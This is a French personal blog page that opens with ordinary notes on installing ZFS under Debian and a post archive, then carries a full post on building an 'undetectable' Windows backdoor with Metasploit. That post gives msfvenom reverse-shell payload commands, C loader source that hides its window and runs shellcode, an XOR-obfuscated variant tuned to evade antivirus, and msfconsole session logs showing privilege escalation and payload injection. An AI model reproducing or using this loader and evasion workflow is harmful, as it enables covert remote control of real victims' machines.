- Pas d’intégration complète dans »Debian ». (module « zfs » a compiler)
- Pas de support des « reflinks », aka: « cp –reflinks=always …«
Après, le reste, c’est super: le « RAID », la compression, les « snapshots » …
Mais, « Btrfs » existe déjà, avec quelques défauts aussi, mais pas ceux que j’ai listé pour « ZFS ».
Donc, bref, quoi: voici quelques notes sur « ZFS », et puis je vais voir ailleurs.
Installation sous Debian
∗∗∗ Prévoir un peu de temps, ça va compiler ∗∗∗
De mon expérience, installer d’abord le package « spl-dkms »:
# apt-get install spl-dkms
… puis, installer « zfs »:
# apt-get install zfs-dkms
Et a la fin, si tout va bien !
# modprobe zfs
Mais y a des services qui ne fonctionnent pas:
# systemctl --failed UNIT LOAD ACTIVE SUB DESCRIPTION ● zfs-mount.service loaded failed failed Mount ZFS filesystems ● zfs-share.service loaded failed failed ZFS file system shares ● zfs-zed.service loaded failed failed ZFS Event Daemon (zed) ...
Donc, les démarrer:
# systemctl start zfs-mount # systemctl start zfs-share # systemctl start zfs-zed
Pour ma part, j’ai ajouté « zfs » dans les modules a charger au « boot », en ajoutant dans « /etc/modules« : zfs
Avant de poursuivre, c’est bien de « rebooter » et de vérifier qu’on a rien a cassé.
Création d’un « pool »
Pour mes tests, je m’appuie sur « LVM » pour créer des disques. En pratique, il paraît que c’est mieux de jouer avec des vrais disques…
# lvcreate -L 5G -n ZPOOL1 vg0
Maintenant, je créé le « pool »:
# zpool create -m none zpool1 /dev/vg0/ZPOOL1
Sans le « -m none » , « ‘ZFS » a la sale manie (oui oui) de monter le « pool » a la racine !
Création d’un « dataset »
( « dataset » peut se comprendre comme un « sous-volume » au sens « Btrfs » )
On prépare un point de montage pour ce « volume ».
# mkdir /mnt/ztest1 -m 0000
Et puis:
# zfs create zpool1/ztest1 -o mountpoint=/mnt/ztest1 -o compress=lz4 -o refquota=1G
Et hop, le « volume » apparaît au point de montage « /mnt/ztest1« .
Dans la foulée, on a ajouté la compression et un quota. (voir aussi « zfs set …« )
On peut ajouter un autre volume sans « quota »:
# mkdir /mnt/ztest2 -m 0000 # zfs create zpool1/ztest2 -o mountpoint=/mnt/ztest2 -o compress=lz4 # zfs list NAME USED AVAIL REFER MOUNTPOINT zpool1 181K 4,81G 19K none zpool1/ztest1 19K 1024M 19K /mnt/ztest1 zpool1/ztest2 19K 4,81G 19K /mnt/ztest2
Pas besoin de modifier quoi que ce soit dans « /etc/fstab » :
Ces montages reviendront automatiquement au prochain redémarrage du système.
Chiffrement avec « dmcrypt »
# lvcreate -L 5G -n cryptz1 vg0 # cryptsetup luksFormat -c aes-xts-plain64 -s 512 -h sha512 /dev/vg0/cryptz1 WARNING! ======== Cette action écrasera définitivement les données sur /dev/vg0/cryptz1. Are you sure? (Type uppercase yes): YES Saisissez la phrase secrète : ****************************************** Vérifiez la phrase secrète : ****************************************** # cryptsetup luksOpen /dev/vg0/cryptz1 cryptz1 Saisissez la phrase secrète pour /dev/vg0/cryptz1 : ****************************************** # zpool create -m none ZPOOL_CRYPT /dev/mapper/cryptz1 # zfs list ZPOOL_CRYPT NAME USED AVAIL REFER MOUNTPOINT ZPOOL_CRYPT 242K 4,81G 19K none # mkdir /mnt/crypt1 -m 0000 # zfs create ZPOOL_CRYPT/crypt1 -o mountpoint=/mnt/crypt1 -o compress=lz4 -o refquota=1G # mkdir /mnt/crypt2 -m 0000 # zfs create ZPOOL_CRYPT/crypt2 -o mountpoint=/mnt/crypt2 -o compress=lz4
# zfs list
NAME USED AVAIL REFER MOUNTPOINT ZPOOL_CRYPT 181K 4,81G 19K none ZPOOL_CRYPT/crypt1 19K 1024M 19K /mnt/crypt1 ZPOOL_CRYPT/crypt2 19K 4,81G 19K /mnt/crypt2
Ok?
Maintenant, on peut fermer ces « secrets » tout aussi simplement en faisant:
# zfs export ZPOOL_CRYPT # cryptsetup luksClose cryptz1
« export » va exporter la conf (quelque part dans le système) et puis faire disparaître le « pool ».
Et pour remettre tout ça en place :
# cryptsetup luksOpen /dev/vg0/cryptz1 cryptz1 Saisissez la phrase secrète pour /dev/vg0/cryptz1 : ****************************************** # zpool import cryptz1
Voila: c’est revenu.
Et le reste ?
La création de « block device »
# zfs create -V 1G zpool1/zvol0
Et voila un nouveau disque dans « /dev/zpool1/zvol0 » …
snapshot
Création d’un « snapshot » …
# zfs snapshot zpool1/ztest1@snap1 # zfs list -t snapshot NAME USED AVAIL REFER MOUNTPOINT zpool1/ztest1@snap1 0 - 21K -
« snapshot » qu’on peut monter avec « clone »:
# mkdir -m 0000 /mnt/snap1 # zfs clone zpool1/ztest1@snap1 zpool1/clone1 -o mountpoint=/mnt/snap1
Qu’on peut supprimer aussi après usage:
# zfs destroy zpool1/clone1
Et puis remettre le « dataset » original dans l’état du « snapshot ».
# zfs rollback zpool1/ztest1@snap1
Et si on n’a plus besoin du « snapshot », on le supprime aussi:
# zfs destroy zpool1/ztest1@snap1
Pour le reste, consulter la doc. 🙂
blog:venom-red-6fd1c24c7e690ed9.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 24/05/2019 à 19:17:00 - Favoriser (lu/non lu)

blog:venom-red-6fd1c24c7e690ed9.jpg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 24/05/2019 à 19:17:00 - Favoriser (lu/non lu)

blog:linux-btrfs.jpeg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 24/05/2019 à 19:12:00 - Favoriser (lu/non lu)

blog:linux-btrfs.jpeg - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 24/05/2019 à 19:12:00 - Favoriser (lu/non lu)

blog:zfs-banner.png - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 24/05/2019 à 19:10:00 - Favoriser (lu/non lu)

blog:zfs-banner.png - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 24/05/2019 à 19:10:00 - Favoriser (lu/non lu)

archives - créée
ReLoad par thierry (thierry@undisclosed.example.com) le 24/05/2019 à 01:41:00 - Favoriser (lu/non lu)
Historique du blog
2018
mai
- 10 - Metasploit: Générer une "backdoor" indétectable en C
- 10 - Metasploit et msfvenom: Générer un exécutable Windows avec un PAYLOAD
- 10 - Message pour moi-même et les Bots qui me liront
2017
septembre
juillet
- 27 - DoublePulsar: Mise en pratique d'un exploit sous Windows 2003 à partir de Debian
- 03 - WannaCry: Mise en pratique d'un exploit sur Windows 2012 R2 a partir de Linux
juin
- 11 - Samba et les fichiers bloqués (XLS,XLSX,DOC,...)
- 05 - WannaCry: Après l'Exploit, la prise de contrôle de Windows
mai
- 25 - SambaCry: Mise en pratique d'un exploit dans Samba
- 24 - Samba4 en Active Directory
- 22 - WannaCry : Mise en pratique d'un exploit à partir de Debian
janvier
2016
septembre
août
juillet
avril
janvier
2015
octobre
septembre
- 26 - OverTheBox vs Freebox bonding
- 25 - StartSSL : Premiers pas ...
- 20 - Clavier Logitech sans fil ...
- 19 - Firefox et Youtube en HD
- 15 - Comment rendre www.free.fr inaccessible ?
- 06 - La sécurité TLS : pour mémoire
août
- 21 - Roundcube: 1 plugin pour chaque hôte
- 20 - Apache 2.4 avec les modules rpaf et remoteip
- 20 - Apache 2.4 sur Debian Jessie
- 15 - Roundcube 0.9.5 pour Debian Wheezy
- 15 - Postfix: RSA 2048 bits
- 14 - Update: whitelist_from_spf_softfail
juillet
mai
- 28 - Xen et UEFI
avril
- 19 - Firefox et HSTS
février
- 20 - Xen , Debian et pvGrub
- 17 - ZoneMinder: mise à jour pour la version 1.28
- 12 - Boucle Event en Perl
- 08 - Xen PCI Passthrough
- 07 - "hostapd" et entropie
janvier
décembre
- 29 - Serveur PPTP: vite
2014
novembre
- 29 - SpamAssassin: Patch pour le bug 7107
- 26 - Free Mobile et le serveur OpenVPN (entre autres)
- 23 - How to fix stdio buffering
- 09 - Spamassassin: "whitelist_from_spf" et "softfail"
- 04 - DRBD et Xen: Quelques scripts
octobre
- 14 - ZoneMinder pour Debian Wheezy (vite)
- 08 - DRBD: Xen, lvm, shrink et grow
- 08 - DRBD avec Internal meta-data et snapshot
- 07 - Xen et DRBD
septembre
juillet
- 21 - Debian 7.6 et l'escargot
- 17 - Downgrade de noyau
- 17 - heartbeat: attempted replay attack
- 02 - iscsimple: XEN, iSCSI et RAID1
juin
- 24 - Xen: Migration de DomU
- 23 - Xen: un script iSCSI
- 20 - Debian: Bases iSCSI
- 03 - 1 certificat pour plusieurs domaines
- 03 - Debian Squeeze LTS
mai
avril
- 15 - Client OpenVPN sur Freebox : les tests
- 15 - OpenVPN Freebox: Tips
- 15 - OpenVPN Freebox: la sécurité et l'infini...
- 15 - OpenVPN Freebox et "auth-user-pass"
- 15 - OpenVPN Freebox: TAP et redirect-gateway
- 15 - Serveur OpenVPN Freebox: les DNS
- 09 - LVM sur une partition en lecture seule
mars
février
- 26 - BIOS upgrade (Zbox)
- 17 - HP et Wheezy - Part 2
2013
novembre
- 26 - Mémoire d'un DomU
- 13 - Postfix et SMTP TLS
octobre
- 28 - freedb.org is dead
- 23 - LVM merge
- 17 - Dans ton LUKS, avec BusyBox et DropBear
- 13 - Un exemple de Métal Progressif
- 12 - Enfin: Correction bug Perl sur un DomU 32bit
- 12 - pyspfexport
- 11 - Xen: DomU et LVM en dedans
- 11 - Xen4 sur Wheezy
- 11 - Perl et pièces jointes des e-mails
- 10 - "swaks" : for testing SMTP server
- 06 - Récuperer un flux audio MP3 ou OGG
septembre
- 29 - Icecast2 et ices2
- 29 - DarkIce et le support de MP3 sous Debian
- 24 - Desactiver IGMP Snooping sur le Bridge
- 05 - Spamassassin AWL avec MySQL
- 03 - Dovecot et Sieve
août
- 29 - msmtp simplement
- 27 - Apache2 et SSL
- 24 - Dovecot et les Quotas
- 22 - Dovecot et LMTP
- 21 - Dovecot : Migration a partir de Courier
- 13 - SpamAssassin Bayes avec MySQL
- 12 - Perl avec MySQL et SSL
- 12 - MySQL et SSL
- 10 - Postfix et "verify_cache.db"
- 09 - "obnam" pour le backup
- 07 - Remo(u)nter la racine en read-write
- 07 - bridge et promiscious
- 06 - "roundcube" et "rc_sqlite_convert.pl"
- 05 - Transformation de pdf en images
- 05 - Roundcube et l'obsolete SQLite v2
- 04 - awstats et httpd-prerotate
juillet
- 31 - HP Proliant et Wheezy
- 30 - ReTrain SpamAssassin : Rectificatif
- 29 - SpamAssassin et apprentissage par les utilisateurs
- 28 - "fetchmail" et "ssl"
- 28 - rssh
- 22 - updatedcc
- 21 - SpamAssassin et "debian-spamd"
- 17 - DSPAM et confusion de tag
juin
mai
- 24 - Postfix et ClamAV avec ClamSMTP
- 24 - Postfix et SASL
- 19 - nice, ionice et nocache
- 17 - Premiers pas avec KVM
- 14 - Calculer PI avec 5000 decimales
- 02 - Debian Live CD
avril
- 30 - Awstats avec Apache2 et nginx
- 28 - Debian Squeeze et PXE (enfin, presque)
- 25 - NUT et UPSSCHED sous Wheezy
- 21 - "writeback" incident
- 16 - iozone
- 16 - drop_caches
- 12 - Boinc Client
- 07 - OOPS: vsftpd: refusing to run with writable root inside chroot()
- 06 - Roundcube et SQLite : la Fin
- 05 - Migration Debian Squeeze en Debian Wheezy
- 03 - Kimsufi, le retour
mars
- 31 - Postfix et SSL
- 30 - Postfix et SpamAssassin
- 26 - Postfix et S25R
- 07 - Free vs Youtube : débridez votre connexion
- 06 - Contourner les ralentissements entre Free et Youtube
- 03 - wipe lvm partition
février
- 22 - Point de mo(u)ntage
- 20 - incrond
- 19 - gpart
- 17 - XEN: Désactiver les règles iptables
- 14 - Dedibox et partition
- 12 - MySQL READ LOCK
- 12 - supprimer un disk physique
- 05 - Kimsufi chez OVH
- 04 - iptables non-bridged traffic warning
2012
décembre
- 23 - Postfix et SRS
- 20 - Postfix et SPF
- 12 - HP et Batterie
novembre
- 20 - VNC sur PV DomU
- 16 - FTP Proxy Cache avec Frox
- 11 - LVM agrandir et créer partitions
- 07 - LVM et PV shrink
- 02 - Freebox et OpenVPN bonding sur Debian Squeeze
octobre
septembre
- 22 - CDDB
- 18 - apt-cacher-ng et apticron marche mal avec cron.daily
- 14 - DNSSEC Bind Debian Squeeze
- 10 - Desactiver IPv6
- 07 - APC Back-UPS et NUT
- 07 - Ajax for dummies
- 04 - LVM et XFS : Agrandir une partition xfs sans reboot
août
- 24 - Disable Bash "Alarm clock" message
- 13 - vsftpd vite fait
- 09 - Postfix: Regexp et Virtual
- 09 - Apache .htaccess Limit
- 06 - VPN Bridge TAP
juillet
- 20 - Wifi avec TL-WN821N
- 17 - MySQL save/restore: an example of what not to do
- 09 - Disk SSD
- 09 - DAR
- 09 - Roundcube
- 06 - exfat et galaxy s3
juin
- 28 - joindre le pool de ntp public
- 26 - capture window et conversion en gif flv etc...
- 25 - Vacation et Postfix
- 24 - aggrandissement d'un raid logiciel et LVM
- 20 - DVD RIP avec HandBrake
- 17 - Firefox 64 bit et Java
- 17 - Flash Player Debian Squeeze
- 17 - Firefox 64 bit
- 17 - vlc 2 sous Debian Squeeze
- 05 - ping et perte de paquets simulé
- 05 - QoS HTB simple avec TC
- 03 - iptables TARPIT sur Debian Squeeze
- 01 - DaemonLogger Mirror
mai
- 29 - Forcer demontage avec umount et fuser
- 27 - Dell USC repair
- 24 - RBL script
- 23 - Accelerer ssh
- 06 - apt cache proxy
mars
- 21 - swap et swappiness
- 19 - Bacula Storage et Mount
- 15 - Benchmark CPU avec sysbench
- 08 - ATI sur Sony VAIO
- 07 - KDE4 et VNCSERVER
- 07 - NFS et FireWall
- 04 - food not bombs
février
- 26 - Quelques petits trucs en C
- 26 - Hello World en C
- 26 - Pombagira Band
start
ReLoad par thierry (thierry@undisclosed.example.com) le 23/07/2018 à 12:01:00 - Favoriser (lu/non lu)
Site en |
---|
Tentative de rebond par là : https://rebound.eez.fr |
Metasploit: Générer une "backdoor" indétectable en C
Il s'agit d'un blog post consacré à la création de “backdoor” pour injecter le service “meterpreter” sur des ordinateurs de victimes (consentantes).
Nous avons vu que les services antivirus détectaient nos “créations” comme “malware” , malgré les encodages que nous avions fait avec la commande “msfvenom
”.
Nous allons voir maintenant comment créer une “backdoor” indétectable, ou presque
Pour cela , il va falloir faire un tout petit peu de programmation en C …
Metasploit et msfvenom: Générer un exécutable Windows avec un PAYLOAD
J'ai déjà montré comment installer “metaploit
” sous Debian.
J'ai aussi montré comment s'appuyer sur diverses failles pour introduire le logiciel “meterpreter
”.
J'ai aussi montré comment embarquer “meterpreter
” dans un exécutable…
Mais certains antivirus résistent encore (ou se mettent simplement à jour), et les techniques d'hier ne fonctionnent plus forcément aujourd'hui.
Donc, on va repartir des bases, et tenté de trouver des solutions…
Message pour moi-même et les Bots qui me liront
Mon petit blog n'a pas d'autre prétention que de rendre publique des petites notes accumulés au fil de mes ouvrages informatiques:
C'est une sorte de don que je fais à Internet, en retour de tout ce qu'il me donne… Bien sûr, je veux parler de “YouPorn”.
Habituellement, je publie de gentillets blog posts dédiés à l'“Administration Système” sous Debian…
Mais il y a quelques mois, un peu par hasard, j'ai commencé à m'intéresser à la sécurité informatique de “Windows”.
En soit, “Windows” ne m'intéresse pas, mais si on fait un tout petit peu d'“Administration” IRL, on est un peu contraint d'y consacrer du temps…
Au départ, j'ai trouvé des failles aussi facilement exploitable que patchable: typiquement la faille “Wannacry”.
Et puis j'aurai voulu passer à autre chose, revenir a mes premières amours, et reprendre mes publications gentillettes…
Mais non, impossible.
J'ai pris conscience de notre dépendance à “Windows” , ainsi que de l'ampleur des failles qu'on pouvait trouver si on cherchait bien…
J'ai alors commencé a accumuler des petites notes sur ce que je découvrais par-ci et par-là, et il m'est apparu de plus en plus compliqué d'en parler publiquement…
Oh! ne vous emballez-pas:
Les failles découvertes n'ont rien de révolutionnaire: c'est le plus souvent lié à d'affligeants manquements dans l'Administration…
Et puis, rassurez-vous, je n'ai pas infiltré la NSA.
Mais voila, il est vrai que l'orientation de mon blog a un peu changé.
Je ne crois pas avoir sombré du côté obscur et je n'ai pas l'intention d'aider quiconque à réaliser des actes criminels:
J'ai bien conscience que c'est un peu “borderline” de temps en temps, mais c'est pour la Science.
Et puis ouvrez les yeux, testez un peu votre environnement:
Nous sommes cernés, “Windows” est partout, les failles sont partout.
PS: … et bordel, changez vos mots de passes !!!
Metasploit: "meterpreter" contre les "Antivirus"
“meterpreter
” est une petite suite de commandes qui vient avec le “framework” “metasploit
”, et qui permet de “mettre à l'épreuve” la sécurité des postes et des serveurs.
L'utilisation de ces commandes est possible soit après une intrusion par le biais de vulnérabilité (comme "MS17-010"), soit par le biais d'une “porte dérobé” , une “backdoor”.
Ici, nous allons montrer d'abord un usage classique de “meterpreter
” à partir d'identifiants “Windows” valides: Il va de soit que plus les identifiants ont des droits élevés, plus “meterpreter
” sera en mesure d'extirper des informations sensibles.
Et puis, nous verrons comment esquiver la quasi-totalité des logiciels “Antivirus”, car lorsqu'ils sont présent, ils ont la fâcheuse tendance à considérer le service “meterpreter
” comme un vilain malware.
DoublePulsar: Mise en pratique d'un exploit sous Windows 2003 à partir de Debian
Dans la continuité de mes “blog post” à propos de la faille “MS17-010
” et du virus “WannaCry
”, je vais montrer comment prendre le contrôle de serveurs Windows 2003
avec “DoublePulsar
” et ceci, à partir de Debian bien sur !
La mise en place jusqu'à l’exécution de l'exploit est un peu longue et un peu complexe… mais j'ai fait de mon mieux pour ne rien oublier.
Déjà, il faudrait parler de “DoublePulsar
” et “EternalRomance
”, car l'exploit ne fonctionnera qu'avec l'utilisation des 2 là:
- “
DoublePulsar
” est le “malware”/“backdoor” qui va être injecté. - “
EternalRomance
” est l'exploit qui va injecter “DoublePulsar
”.
Mais à la fin, on va encore devoir envoyer un “shellcode
” sous forme de DLL à la “backdoor” “DoublePulsar
” pour établir la communication avec une console sous “metasploit
”.
Oui, je sais: ça pique déjà.
Par ailleurs, la plupart des démonstrations montrent qu'il faut 3 PC:
- La victime sous
Windows 2003
- Un poste sous
Windows 7
qui va utiliser un outil nommé “fuzzbunch
” … - Un poste qui va recevoir le contrôle, en console, de la victime.
Rares sont les solutions qui parlent aussi d'utiliser “Wine
” a la place de Windows 7
…
Et c'est ça que je vais vous montrer, car on va remplacer Windows 7
par Wine
…
Et là, plus besoin de 3 postes: La victime et notre Debian suffiront.
Mes sources principales:
blog:2018:05:10:metasploit_generer_une_backdoor_indetectable_en_c - [Simple]
ReLoad par thierry (thierry@undisclosed.example.com) le 11/05/2018 à 02:46:00 - Favoriser (lu/non lu)
Metasploit: Générer une "backdoor" indétectable en C
Il s'agit d'un blog post consacré à la création de “backdoor” pour injecter le service “meterpreter” sur des ordinateurs de victimes (consentantes).
Nous avons vu que les services antivirus détectaient nos “créations” comme “malware” , malgré les encodages que nous avions fait avec la commande “msfvenom
”.
Nous allons voir maintenant comment créer une “backdoor” indétectable, ou presque
Pour cela , il va falloir faire un tout petit peu de programmation en C …
Pré-requis
Au delà des outils “metasploit
” (voir ici) , il faut installer “wine” ainsi que “gcc” pour “wine”.
Désolé: L'installation de “wine ” et de “gcc ” pour “wine ” sort du cadre de cet article, et ne sera donc pas expliqué ici. |
Nous utilisons les variables suivantes (a adapter selon vos besoin):
$ export PAYLOAD_X86=windows/meterpreter/reverse_tcp $ export LHOST=192.168.6.66 $ export LPORT=6666
“LHOST
” est l'IP de l'“attaquant”, la mienne en fait.
![]() ![]() |
Un "PAYLOAD" dans du C
Simple
La commande “msfvenom
” peut aussi nous livrer un “PAYLOAD” (préalablement encodé ou non), dans un format “raw” mais disposé dans un tableau en langage de programmation “C”.
Exemple:
$ msfvenom -p "$PAYLOAD_X86" LHOST="$LHOST" LPORT="$LPORT" -f c No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of c file: 1457 bytes unsigned char buf[] = "\xfc\xe8... ... ... ... ...\xff\xd5"; $
( Ici et ailleurs, je masque volontairement le “PAYLOAD”. )
Après quelques recherches et tests, j'ai trouvé un bout de code élémentaire que j'ai joyeusement copié/collé, en y insérant mes données de “PAYLOAD”.
Le fichier a été nommé simplement “backdoor.c
” :
#include <stdio.h> #include <windows.h> unsigned char buf[] = "\xfc\xe8\... ... ... ... ...\xff\xd5"; void main(void) { ShowWindow(GetConsoleWindow(),SW_HIDE); ((void (*)())buf)(); }
On compile ce programme pour générer “backdoor.exe” comme ceci:
$ wine gcc.exe -o backdoor.exe backdoor.c -lwsock32
On peut vérifier sur la “victime” (consentante) que la “backdoor” fonctionne parfaitement en se connectant a “msfconsole
”.
![]() Je ne croyais pas que c'était encore possible de nos jours… |
Un petit passage sur le site “https://www.virustotal.com” me retourne un score catastrophique de 29/67
.
Ainsi faites, notre “backdoor.exe” n'a aucune chance contre les antivirus.
Encodons
Cette fois, on va générer un “PAYLOAD” encodé:
$ msfvenom -p "$PAYLOAD_X86" LHOST="$LHOST" LPORT="$LPORT" -e x86/shikata_ga_nai -b 'x00xff' -i 10 -f c > buf.c
Nous insérons ce nouveau “buf
” dans notre source “backdoor.c
”, nous compilons et nous testons.
Ca marche toujours et “https://www.virustotal.com” donne cette fois un score de 16/65
Peut mieux faire.
Avec notre décodeur
J'ai fait un petit programme qui applique un petit “xor 0x13
” sur chacun des octets du “PAYLOAD
”.
Le décodeur de notre “backdoor” va juste appliquer un “xor 0x13
” sur chacun des octets du “PAYLOAD”, et puis l'exécuter…
Mais en faisant comme ça, je n'obtiens qu'un passable score de 16/65
sur “https://www.virustotal.com”.
La raison est simple: le fonctionnement du programme est trop élémentaire.
Donc, j'ai un peu compliqué son fonctionnement:
#include <stdio.h> #include <windows.h> unsigned char buf[] = "\xa9\x82... ... ... ... ...\x82\x44"; void *fuck(void) { // On surdimensionne un tableau sur la pile... // Il n'y a que le "pivot" qui contient le PAYLOAD a exécuter. // Update: Ajout d'un "pad" pour aligner les buffers sur 0x10 octets... const int n = 12; unsigned char *__buf[n]; unsigned char __buffer__[((sizeof(buf)+16)*n)]; unsigned int pad = (unsigned int)(16-((unsigned int)__buffer__%16)); int pivot = n/2; for( int k=0; k<n; k++ ) { __buf[k] = __buffer__+pad+((sizeof(buf)+16)*k); } for( int i=0; i<sizeof(buf)-1; i++ ) { for( int k=0; k<n; k++ ) { if ( k<pivot || k>pivot ) { __buf[k][i] = (unsigned char)~buf[i]; // <--- Bidon } else { __buf[k][i] = (unsigned char)(buf[i]^0x13); // <--- Decodage du PAYLOAD if ((i+1)>=sizeof(buf)-1) ((void (*)())__buf[k])(); // <--- Start PAYLOAD } } } return(__buf[pivot+1]); // <--- Bidon } void main(void) { ShowWindow(GetConsoleWindow(),SW_HIDE); void *fake = fuck(); ((void (*)())fake)(); // <--- Jamais exécuté }
La “backdoor” fonctionne et sur “https://www.virustotal.com”, j'obtiens la note de 13/65
.
Mais plus important, cette “backdoor” est maintenant indétectable par l'antivirus “Kaspersky”.
Bilan de tentatives d'évasions
(Oui, on parle d'“évasion” lorsqu'on tente de libérer un logiciel de l'emprise des antivirus …)
Faisons un petit point pour comprendre où l'on est arrivé:
"Backdoor" dormantes
Le but principal, c'est de pouvoir camoufler des “backdoor” dans les logiciels.
Lorsqu'on soumet des “backdoor” cachées et dormantes a “https://www.virustotal.com”, aucun antivirus ne lève d'avertissement: on est 100% indétectable.
C'est le cas avec la méthode de camouflage présenté plus haut.
Toutefois, lorsqu'on active la “backdoor”, on commence a devenir détectable, et ceci à 3 niveaux:
Décodage du "PAYLOAD"
Au moment du décodage de la “PAYLOAD”, et avant son exécution, on expose les données à l'analyse des antivirus.
A ce moment là, une “backdoor” peut être détectable.
Pour que ce ne soit pas le cas, il faudrait créé soit même son “PAYLOAD” : je n'en suis pas encore à ce stade
Execution du "PAYLOAD"
Le simple fait d'exécuter du code présent dans les données du programme est suspect. Je crois même que certains systèmes ne permettent pas ce genre de chose, et lève une exception.
En tout cas, c'est normal qu'un antivirus trouve un tel comportement suspect: aucun logiciel ne devrait faire ça.
Communication du "PAYLOAD"
Et enfin, lorsque le PAYLOAD est en fonctionnement, il tente immédiatement d'établir une communication par le réseau IP… et ça aussi c'est suspect.
Conclusion
Créer une “backdoor” indétectable aux antivirus est possible, dans la mesure où son analyse reste simple, comme la recherche de signatures par exemple.
Mais dés qu'on étudie plus finement son comportement, comme par exemple l'exécution de code dans les données, ou l'ouverture de connexion vers l'extérieure, alors la “backdoor” peut être détectée.
"Meterpreter" de "x86" à "x64"
Nous l'avons dit en préambule, il n'a pas été possible de trouver une solution viable pour un “PAYLOAD” en 64 bit.
En conséquence, on peut injecter “meterpreter
” qu'en version 32 bit, ce qui limite sa puissance.
Toutefois, il existe des solutions…
Repartons des bases
Création de la backdoor
On reprend l'exemple vu précédement en générant une “backdoor” avec un encodage “xor 0x13
”, et un peu de magie dans l'écriture du programme.
Nous envoyons notre “backdoor.exe” sur l'ordinateur de la “victime”.
"msfconsole" en attente
Du côté de notre poste d'“attaquant”, on prépare la mise en attente de notre exploit.
$ msfconsole msf > use exploit/multi/handler msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set LHOST 192.168.6.66 msf exploit(multi/handler) > set LPORT 6666 msf exploit(multi/handler) >
msf exploit(multi/handler) > exploit -j [*] Exploit running as background job 0. msf exploit(multi/handler) > [*] Started reverse TCP handler on 192.168.6.66:6666
Nous sommes prêt.
Prise de contrôle
Sur l'ordinateur de la “victime”, on se débrouille pour démarrer “backdoor.exe” avec les droits Administrateurs :
C:\> backdoor.exe C:\>
Et aussitôt, du côté de la console de l'“attaquant”, on récupère une session après injection de “meterpreter
”.
msf exploit(multi/handler) > [*] Sending stage (179779 bytes) to 192.168.6.31 [*] Meterpreter session 1 opened (192.168.6.66:6666 -> 192.168.6.31:63144) at 2017-12-29 02:44:27 +0200 msf exploit(multi/handler) >
(la victime a l'IP “192.168.6.31” ici)
On entre dans la “session” embarquant “meterpreter”:
msf exploit(multi/handler) > sessions 1 [*] Starting interaction with 1... meterpreter >
Et on récupère les privilèges “Administrateurs”:
meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: AUTORITE NT\Système meterpreter > sysinfo Computer : HACKME0001 OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 System Language : fr_FR Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows meterpreter >
Voila. Nous sommes bien dans la version “x86” de “meterpreter”.
Migration avec "archmigrate"
C'est la méthode la plus simple: il suffit d'utiliser le script “post/windows/manage/archmigrate
”.
Démonstration:
Nous venons de démarrer notre “backdoor.exe” et nous voila sous “meterpreter” “x86” :
meterpreter > sysinfo Computer : HACKME0001 OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 System Language : fr_FR Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows meterpreter >
Et hop, on migre sous “x64” avec un nouveau “meterpreter” :
meterpreter > run post/windows/manage/archmigrate [*] You're not running as SYSTEM. Moving on... [*] The meterpreter is not the same architecture as the OS! Upgrading! [*] Starting new x64 process C:\windows\sysnative\svchost.exe [+] Got pid 204 [*] Migrating.. [+] Success! meterpreter > sysinfo Computer : HACKME0001 OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 System Language : fr_FR Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter >
Voila: On est dans la version “64 bit” de “meterpreter”
Reflective Injection x64
Cette méthode est largement plus complexe, mais elle nous permet d'explorer une manière d'injecter un “PAYLOAD” depuis une session en cours…
Nouvelle attente
Notre “backdoor.exe” a été démarré et nous nous retrouvons dans notre “session meterpreter” sur la “victime”.
On va suspendre cette “session” pour préparer notre injection de “meterpreter” “x64”.
meterpreter > background [*] Backgrounding session 1... msf exploit(multi/handler) >
On prépare une nouvelle attente pour recevoir “meterpreter” “x64” :
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf exploit(multi/handler) >
On vérifie nos options:
msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.6.66 yes The listen address LPORT 6666 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(multi/handler) >
Et on démarre la mise en attente:
msf exploit(multi/handler) > exploit -j [*] Exploit running as background job 1. [*] Started reverse TCP handler on 192.168.6.66:6666 msf exploit(multi/handler) >
"payload_inject"
On change d'exploit pour “windows/local/payload_inject
” :
msf exploit(multi/handler) > use windows/local/payload_inject msf exploit(windows/local/payload_inject) >
Et on le configure à la manière du précédent exploit, avec les informations de connexion de l'“attaquant” (moi). … avec le “PAYLOAD” de “meterpreter” “x64” :
msf exploit(windows/local/payload_inject) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf exploit(windows/local/payload_inject) > set LHOST 192.168.6.66 msf exploit(windows/local/payload_inject) > set LPORT 6666
Sans oublier le numéro de la session qu'on a mis en veille (“background”) :
msf exploit(windows/local/payload_inject) > set SESSION 1 SESSION => 1 msf exploit(windows/local/payload_inject) >
Un dernier coup d'oeil sur les options:
msf exploit(windows/local/payload_inject) > show options Module options (exploit/windows/local/payload_inject): Name Current Setting Required Description ---- --------------- -------- ----------- NEWPROCESS false no New notepad.exe to inject to PID no Process Identifier to inject of process to inject payload. SESSION 1 yes The session to run this module on. Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.6.66 yes The listen address LPORT 6666 yes The listen port Exploit target: Id Name -- ---- 0 Windows msf exploit(windows/local/payload_inject) >
injection de l'exploit
